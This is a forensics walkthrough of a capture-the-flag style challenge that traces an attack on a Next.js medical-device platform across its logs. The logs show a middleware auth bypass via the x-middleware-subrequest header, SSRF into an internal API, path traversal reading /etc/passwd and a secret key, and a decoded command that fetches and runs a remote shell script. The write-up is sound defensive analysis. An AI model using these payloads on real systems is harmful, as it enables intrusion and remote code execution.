NeuroSync-D

Scenario

NeuroSync™ is a leading suite of products focusing on developing cutting edge medical BCI devices, designed by the Korosaki Coorporaton. Recently, an APT group targeted them and was able to infiltrate their infrastructure and is now moving laterally to compromise more systems. It appears that they have even managed to hijack a large number of online devices by exploiting an N-day vulnerability. Your task is to find out how they were able to compromise the infrastructure and understand how to secure it.

Artifact Selection and Relevance

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# ls -la
total 88
drwxrwxrwx 1 root root  4096 Mar  1 18:50 .
drwxrwxrwx 1 root root  4096 Mar  1 18:50 ..
-rwxrwxrwx 1 root root 24835 Apr  1  2025 access.log
-rwxrwxrwx 1 root root  2617 Apr  1  2025 bci-device.log
-rwxrwxrwx 1 root root 27914 Apr  1  2025 data-api.log
-rwxrwxrwx 1 root root  6927 Apr  1  2025 interface.log
-rwxrwxrwx 1 root root  6927 Apr  1  2025 NeuroSync.zip
-rwxrwxrwx 1 root root  7209 Apr  1  2025 redis.log

access.log → HTTP requests coming into the server (nginx/proxy level)

interface.log → Next.js app level requests (we already confirmed this — frontend/API routes)

data-api.log → backend API logs, probably internal service calls, data processing (largest file at 27kb — most activity)

bci-device.log → BCI = Brain Computer Interface (this is NeuroSync after all!) — device connection/communication logs, probably hardware talking to the app

redis.log → Redis is a cache/session store — session data, tokens, temporary storage logs

Lets see how we go trough it,

Investigation

Step 1: Identify the Application Stack and Version

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# cat interface.log | head

> [email protected] dev
> next dev

   ▲ Next.js 15.1.0
   - Local:        http://localhost:3000
   - Network:      http://172.17.0.2:3000
   - Experiments (use with caution):
     · webpackBuildWorker
     · parallelServerCompiles

Purpose: identify the application stack and version before looking at anything else.
Logic: knowing the framework version immediately tells us what known CVEs apply — Next.js 15.1.0 is vulnerable to CVE-2025-29927 (middleware auth bypass).
What this proves: the app is running a vulnerable version of Next.js, giving us a clear exploitation hypothesis.
Next: confirm the port and the target endpoint the attacker focused on.

Step 2: Confirm the Port the App is Running On

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# cat interface.log | grep "port" | head -1
2025-04-01T11:37:58.163Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-real-ip","10.129.231.211"]]

More cleaner output would look

Timestamp : 2025-04-01T11:37:58.163Z
Client IP : 10.129.231.211
Method    : GET
URL       : http://localhost:3000/api/bci/analytics

Headers:
  Accept            : */*
  Accept-Encoding   : gzip, deflate, br
  Connection        : close
  Host              : 10.129.231.215
  User-Agent        : Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
  X-Forwarded-For   : 10.129.231.211
  X-Forwarded-Host  : 10.129.231.215
  X-Forwarded-Port  : 3000
  X-Forwarded-Proto : http
  X-Real-IP         : 10.129.231.211

So the port local is 3000 we can see from http://localhost:3000

Purpose: confirm the exposed port and the target endpoint.
Logic: the x-forwarded-port header confirms the app is reachable on port 3000, and the attacker is already probing /api/bci/analytics — the protected route.
What this proves: attacker has done recon and has a specific target endpoint in mind.
Next: look at how the attacker went about bypassing auth on that endpoint.

Step 3: Attacker Enumerates Next.js Static Chunks (Version Fingerprinting)

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "_next" access.log | head -20
10.129.231.211 - - [01/Apr/2025:11:37:35 +0000] "GET /_next/static/chunks/framework.js HTTP/1.1" 404 9321 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:37:38 +0000] "GET /_next/static/chunks/main.js HTTP/1.1" 404 9318 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:37:40 +0000] "GET /_next/static/chunks/commons.js HTTP/1.1" 404 9319 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:37:44 +0000] "GET /_next/static/chunks/main-app.js HTTP/1.1" 200 1375579 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:37:47 +0000] "GET /_next/static/chunks/app/page.js HTTP/1.1" 200 64640 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"

From this output the attacker got main-app.js successfully. That file is a compiled JavaScript bundle — it would contain the Next.js version string embedded inside it.

Purpose: confirm the exact Next.js version from the client-side bundle.
Logic: the attacker tried common chunk names first (404s), then hit main-app.js which is the App Router bundle — this file contains the Next.js version string compiled into it, confirming 15.1.0 and therefore CVE-2025-29927 applicability.
What this proves: attacker fingerprinted the version client-side before attempting the bypass.
Next: watch the middleware bypass attempts.

Step 4: CVE-2025-29927 — Middleware Auth Bypass

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep -i "middleware" interface.log
 ○ Compiling /middleware ...
 ✓ Compiled /middleware in 1262ms (167 modules)
2025-04-01T11:37:59.699Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware"],["x-real-ip","10.129.231.211"]]
2025-04-01T11:38:01.280Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware"],["x-real-ip","10.129.231.211"]]
2025-04-01T11:38:02.486Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rx:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware:middleware"],["x-real-ip","10.129.231.211"]]
2025-04-01T11:38:04.111Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware:middleware:middleware:middleware"],["x-real-ip","10.129.231.211"]]

# This is CVE-2025-29927 exploitation. The attacker was iterating the header value trying to find the right depth to bypass the middleware check. Timestamp is 2025-04-01 post march

You can literally see the attacker **building up the payload** step by step:

Attempt 1: middleware
Attempt 2: middleware:middleware
Attempt 3: middleware:middleware:middleware
Attempt 4: middleware:middleware:middleware:middleware

CVE-2025-29927 abuses how Next.js handles the x-middleware-subrequest header internally. When Next.js middleware calls NextResponse.next() to pass a request to the route handler, it sets this header to track recursive middleware calls and prevent infinite loops. The flaw: if an external request arrives with this header already set, Next.js treats it as a subrequest coming from its own middleware and skips running the middleware entirely — bypassing any auth checks inside it. The attacker iterated the depth because different Next.js versions require a different number of repetitions to trigger the skip — the logs show attempts 1–4 in interface.log, and the 5th attempt (middleware:middleware:middleware:middleware:middleware) is the one that worked, confirmed by the 200 in access.log at 11:38:05.

Purpose: bypass authentication on the protected /api/bci/analytics endpoint.
Logic: CVE-2025-29927 — Next.js trusts the x-middleware-subrequest header to detect internal subrequests; sending it externally tricks the server into skipping middleware auth checks entirely.
What this proves: auth was bypassed successfully — confirmed by the 200 response at 11:38:05 after three 401s.
Next: see what the attacker did with authenticated access.

Step 5: Auth Bypass Confirmed — First Successful Access

Most requests in access.log were hitting this endpoint and we can see the pattern that

/api/bci/analytics

How many unauthorized requests:

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "401" access.log | wc -l
5

First successful bypass timestamp:

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "11:38" access.log | grep "10.129.231.211" | grep "200" | head -1
10.129.231.211 - - [01/Apr/2025:11:38:05 +0000] "GET /api/bci/analytics HTTP/1.1" 200 737 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"

Purpose: confirm the exact moment auth was bypassed and quantify unauthorized attempts.
Logic: 3 401s followed by a 200 at 11:38:05 maps directly to the middleware bypass attempts in interface.log — clean correlation across logs.
What this proves: bypass succeeded at 11:38:05, giving the attacker read access. PUT requests immediately follow, indicating they moved to data manipulation.
Next: trace what the PUT requests triggered internally.

Step 6: SSRF — PUT Requests Trigger Internal Server-Side curl

ATTACKER PUT REQUEST FIRED FROM EXTERNAL

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "11:38:26" access.log | grep "10.129.231.211"
10.129.231.211 - - [01/Apr/2025:11:38:26 +0000] "PUT /api/bci/analytics HTTP/1.1" 200 90 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:38:26 +0000] "GET /api/bci/analytics HTTP/1.1" 500 142 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:38:26 +0000] "PUT /api/bci/analytics HTTP/1.1" 200 91 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:38:26 +0000] "GET /api/bci/analytics HTTP/1.1" 500 143 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:38:26 +0000] "PUT /api/bci/analytics HTTP/1.1" 200 92 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
10.129.231.211 - - [01/Apr/2025:11:38:26 +0000] "GET /api/bci/analytics HTTP/1.1" 500 154 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rx:45.0) Gecko/20100101 Firefox/45.0"

AND THEN IT SEEMS (data-api.log) — Server executed curl internally 1 second later:

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "11:38:27" data-api.log
2025-04-01 11:38:27 [VERBOSE] Incoming request: GET / from ::ffff:127.0.0.1
2025-04-01 11:38:27 [VERBOSE] Request headers: {"host":"127.0.0.1:4000","user-agent":"curl/7.88.1","accept":"*/*"}

The PUT request to /api/bci/analytics is triggering the Next.js backend to make a server-side HTTP request to the internal data-api service on port 4000 — using curl. This is SSRF: the attacker is using the Next.js app as a proxy to reach an internal service that isn’t exposed externally.

Answer: 4000

Correlating timing across access.log and redis.log confirms the same two successful GET responses:

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "11:38" redis.log
1743507485.832728 [0 127.0.0.1:43100] "rpush" "analyticsLogs" "{\"timestamp\":\"2025-04-01T11:38:05.832Z\",\"ip\":\"::ffff:127.0.0.1\",\"route\":\"/analytics\"}"
1743507530.492892 [0 127.0.0.1:43100] "rpush" "analyticsLogs" "{\"timestamp\":\"2025-04-01T11:38:50.492Z\",\"ip\":\"::ffff:127.0.0.1\",\"route\":\"/analytics\"}"

These match exactly the two GET 200 responses in access.log — Redis only logged when GET succeeded.

Purpose: understand what the attacker was doing with PUT access and whether they could reach internal services.
Logic: the PUT request to the analytics endpoint caused the backend to make a loopback curl call to 127.0.0.1:4000 — the internal data-api. The attacker effectively has a pivot point into the internal network via SSRF.
What this proves: the attacker can now interact with data-api on port 4000 through the Next.js app, even though port 4000 is not publicly exposed.
Next: see what the attacker enumerated on the internal data-api.

Step 7: Internal Endpoint Enumeration via SSRF

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "Incoming request" data-api.log | grep "127.0.0.1"
2025-04-01 11:38:05 [VERBOSE] Incoming request: GET /analytics from ::ffff:127.0.0.1
2025-04-01 11:38:27 [VERBOSE] Incoming request: GET / from ::ffff:127.0.0.1
2025-04-01 11:38:34 [VERBOSE] Incoming request: GET / from ::ffff:127.0.0.1
2025-04-01 11:38:34 [VERBOSE] Incoming request: GET /health from ::ffff:127.0.0.1
2025-04-01 11:38:35 [VERBOSE] Incoming request: GET /admin from ::ffff:127.0.0.1
2025-04-01 11:38:35 [VERBOSE] Incoming request: GET /debug from ::ffff:127.0.0.1
2025-04-01 11:38:35 [VERBOSE] Incoming request: GET /status from ::ffff:127.0.0.1
2025-04-01 11:38:36 [VERBOSE] Incoming request: GET /login from ::ffff:127.0.0.1
2025-04-01 11:38:36 [VERBOSE] Incoming request: GET /logout from ::ffff:127.0.0.1
2025-04-01 11:38:36 [VERBOSE] Incoming request: GET /register from ::ffff:127.0.0.1
2025-04-01 11:38:37 [VERBOSE] Incoming request: GET /users from ::ffff:127.0.0.1
2025-04-01 11:38:37 [VERBOSE] Incoming request: GET /users/ from ::ffff:127.0.0.1
2025-04-01 11:38:38 [VERBOSE] Incoming request: GET /profile from ::ffff:127.0.0.1
2025-04-01 11:38:38 [VERBOSE] Incoming request: GET /settings from ::ffff:127.0.0.1
2025-04-01 11:38:39 [VERBOSE] Incoming request: GET /password-reset from ::ffff:127.0.0.1
2025-04-01 11:38:39 [VERBOSE] Incoming request: GET /forgot-password from ::ffff:127.0.0.1
2025-04-01 11:38:39 [VERBOSE] Incoming request: GET /posts from ::ffff:127.0.0.1
2025-04-01 11:38:40 [VERBOSE] Incoming request: GET /posts from ::ffff:127.0.0.1
2025-04-01 11:38:40 [VERBOSE] Incoming request: GET /comments from ::ffff:127.0.0.1
2025-04-01 11:38:41 [VERBOSE] Incoming request: GET /comments from ::ffff:127.0.0.1
2025-04-01 11:38:41 [VERBOSE] Incoming request: GET /products from ::ffff:127.0.0.1
2025-04-01 11:38:41 [VERBOSE] Incoming request: GET /products from ::ffff:127.0.0.1
2025-04-01 11:38:42 [VERBOSE] Incoming request: GET /orders from ::ffff:127.0.0.1
2025-04-01 11:38:42 [VERBOSE] Incoming request: GET /orders from ::ffff:127.0.0.1
2025-04-01 11:38:43 [VERBOSE] Incoming request: GET /cart from ::ffff:127.0.0.1
2025-04-01 11:38:43 [VERBOSE] Incoming request: GET /cart from ::ffff:127.0.0.1
2025-04-01 11:38:43 [VERBOSE] Incoming request: GET /checkout from ::ffff:127.0.0.1
2025-04-01 11:38:44 [VERBOSE] Incoming request: GET /inventory from ::ffff:127.0.0.1
2025-04-01 11:38:44 [VERBOSE] Incoming request: GET /inventory from ::ffff:127.0.0.1
2025-04-01 11:38:45 [VERBOSE] Incoming request: GET /categories from ::ffff:127.0.0.1
2025-04-01 11:38:45 [VERBOSE] Incoming request: GET /categories from ::ffff:127.0.0.1
2025-04-01 11:38:45 [VERBOSE] Incoming request: GET /tags from ::ffff:127.0.0.1
2025-04-01 11:38:46 [VERBOSE] Incoming request: GET /tags from ::ffff:127.0.0.1
2025-04-01 11:38:46 [VERBOSE] Incoming request: GET /search from ::ffff:127.0.0.1
2025-04-01 11:38:47 [VERBOSE] Incoming request: GET /notifications from ::ffff:127.0.0.1
2025-04-01 11:38:47 [VERBOSE] Incoming request: GET /messages from ::ffff:127.0.0.1
2025-04-01 11:38:48 [VERBOSE] Incoming request: GET /conversations from ::ffff:127.0.0.1
2025-04-01 11:38:48 [VERBOSE] Incoming request: GET /files from ::ffff:127.0.0.1
2025-04-01 11:38:48 [VERBOSE] Incoming request: GET /files from ::ffff:127.0.0.1
2025-04-01 11:38:49 [VERBOSE] Incoming request: GET /upload from ::ffff:127.0.0.1
2025-04-01 11:38:50 [VERBOSE] Incoming request: GET /download from ::ffff:127.0.0.1
2025-04-01 11:38:50 [VERBOSE] Incoming request: GET /analytics from ::ffff:127.0.0.1
2025-04-01 11:38:50 [VERBOSE] Incoming request: GET /reports from ::ffff:127.0.0.1
2025-04-01 11:38:51 [VERBOSE] Incoming request: GET /metrics from ::ffff:127.0.0.1
2025-04-01 11:38:51 [VERBOSE] Incoming request: GET /version from ::ffff:127.0.0.1
2025-04-01 11:38:52 [VERBOSE] Incoming request: GET /docs from ::ffff:127.0.0.1
2025-04-01 11:38:52 [VERBOSE] Incoming request: GET /logs from ::ffff:127.0.0.1
2025-04-01 11:39:01 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//etc/passwd from ::ffff:127.0.0.1
2025-04-01 11:39:03 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//proc/self/environ from ::ffff:127.0.0.1
2025-04-01 11:39:05 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//var/log/app.log from ::ffff:127.0.0.1
2025-04-01 11:39:07 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//app/data-api/index.js from ::ffff:127.0.0.1
2025-04-01 11:39:24 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//tmp/secret.key from ::ffff:127.0.0.1

The attacker did a full internal wordlist scan through the SSRF, then found the /logs endpoint and immediately pivoted to path traversal.

Answer: logs

Purpose: discover exploitable internal endpoints on the data-api.
Logic: once SSRF was established, the attacker ran a standard API wordlist against 127.0.0.1:4000. The /logs endpoint stood out because it accepts a logFile parameter — a classic LFI indicator.
What this proves: the internal API has an unauthenticated /logs endpoint that accepts user-controlled file paths.
Next: track the path traversal exploitation.

Step 8: Local File Inclusion via Path Traversal on /logs

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "Incoming request" data-api.log | grep "127.0.0.1" | tail -5
2025-04-01 11:39:01 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//etc/passwd from ::ffff:127.0.0.1
2025-04-01 11:39:03 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//proc/self/environ from ::ffff:127.0.0.1
2025-04-01 11:39:05 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//var/log/app.log from ::ffff:127.0.0.1
2025-04-01 11:39:07 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//app/data-api/index.js from ::ffff:127.0.0.1
2025-04-01 11:39:24 [VERBOSE] Incoming request: GET /logs?logFile=/var/log/../.../...//../.../...//tmp/secret.key from ::ffff:127.0.0.1

The attacker used the logFile parameter to include and read local files from the server: Local File Inclusion (LFI). The obfuscated traversal pattern (/var/log/../.../...//../.../...//) is designed to bypass naive path sanitization checks that only look for simple ../ sequences.

• LFI started at: 2025-04-01 11:39:01
• Vulnerability: Local File Inclusion via logFile parameter
• Final target file: secret.key in /tmp/

Purpose: read sensitive files from the filesystem via the vulnerable /logs endpoint.
Logic: the logFile parameter has no proper path validation — the attacker used obfuscated traversal sequences to escape the intended log directory and read arbitrary files.
What this proves: the attacker read /etc/passwd, /proc/self/environ, the application source (index.js), and finally /tmp/secret.key — escalating from recon to credential access.
Next: see how the secret key was used to achieve RCE on the BCI devices.

Step 9: RCE on BCI Devices via Redis Command Injection

└─# grep "EXEC" redis.log
1743507566.415465 [0 127.0.0.1:34502] "RPUSH" "bci_commands" "OS_EXEC|d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb"

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# echo "d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo" | base64 -d
wget http://185.202.2.147/h4Pln4/run.sh -O- | sh

Can see same in the log:

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep run.sh  bci-device.log
2025-04-01 11:39:26 BCI (Device): Executing OS command: wget http://185.202.2.147/h4Pln4/run.sh -O- | sh

The attacker pushed a command to the bci_commands Redis queue using the OS_EXEC message type. The BCI device worker polls this queue and executes whatever it receives. The command itself was base64-encoded to avoid simple string detection — it downloads and executes a remote shell script from 185.202.2.147 directly on the BCI device.

BCI device control was also confirmed earlier during the exploitation window:

┌──(root㉿NamahaShiva)-[/mnt/c/Users/Kismat/Desktop/CTF-JOUNEY/NeuroSync/NeuroSync-D]
└─# grep "11:38" bci-device.log
2025-04-01 11:38:09 BCI (Device): Moving Up
2025-04-01 11:38:09 BCI (Device): Moving Down
2025-04-01 11:38:09 BCI (Device): Moving Left
2025-04-01 11:38:09 BCI (Device): Moving Right
2025-04-01 11:38:39 BCI (Device): Moving Up
2025-04-01 11:38:39 BCI (Device): Moving Down
2025-04-01 11:38:39 BCI (Device): Moving Left
2025-04-01 11:38:39 BCI (Device): Moving Right

The attacker had functional command-and-control over the physical BCI devices before even reaching the RCE stage — the movement commands confirm the analytics API directly controlled device behavior.

Purpose: achieve persistent remote code execution on BCI devices at scale.
Logic: the secret key obtained via LFI was likely used to authenticate to Redis. From there, pushing to the bci_commands queue is all it takes — the device worker blindly executes OS_EXEC payloads. Base64 encoding the command is a basic evasion technique against log-based detection.
What this proves: full compromise of BCI devices — both command control and arbitrary OS execution.
Next: timeline summary.

Timeline

Final Answers

Lessons Learned

• Don’t trust client-controlled internal headers like x-middleware-subrequest — strip or normalize them at the edge before they reach the app.
• Patch cadence for N-day web framework CVEs matters as much as zero-day readiness — CVE-2025-29927 was exploitable because the version wasn’t updated.
• Middleware auth alone is not enough — enforce authorization again inside API route handlers.
• “Internal-only” services are still reachable if SSRF exists — protect localhost services with auth too, loopback is not a trust boundary.
• Endpoint brute-force and path traversal patterns (/logs?logFile=...) should trigger alerts early — these are noisy and detectable.
• Secrets like secret.key must never be readable from app-exposed paths — sensitive files belong outside the webroot with strict filesystem permissions.
• Redis command queues need strict allowlists and command validation to prevent OS_EXEC abuse — especially when they control physical hardware.
• Correlating access.log, interface.log, data-api.log, redis.log, and bci-device.log gives the full attack narrative faster than single-log analysis.

Tool Significance

• cat / head: initial log inspection to identify application stack and version.
• grep: primary analysis tool — cross-correlating events across multiple log files by timestamp, IP, status code, and keyword.
• wc -l: quick quantification of event counts (unauthorized requests).
• base64 -d: decoding the attacker’s obfuscated OS command payload from Redis.
• Log correlation (manual): connecting access.log → interface.log → data-api.log → redis.log → bci-device.log to reconstruct the full attack chain.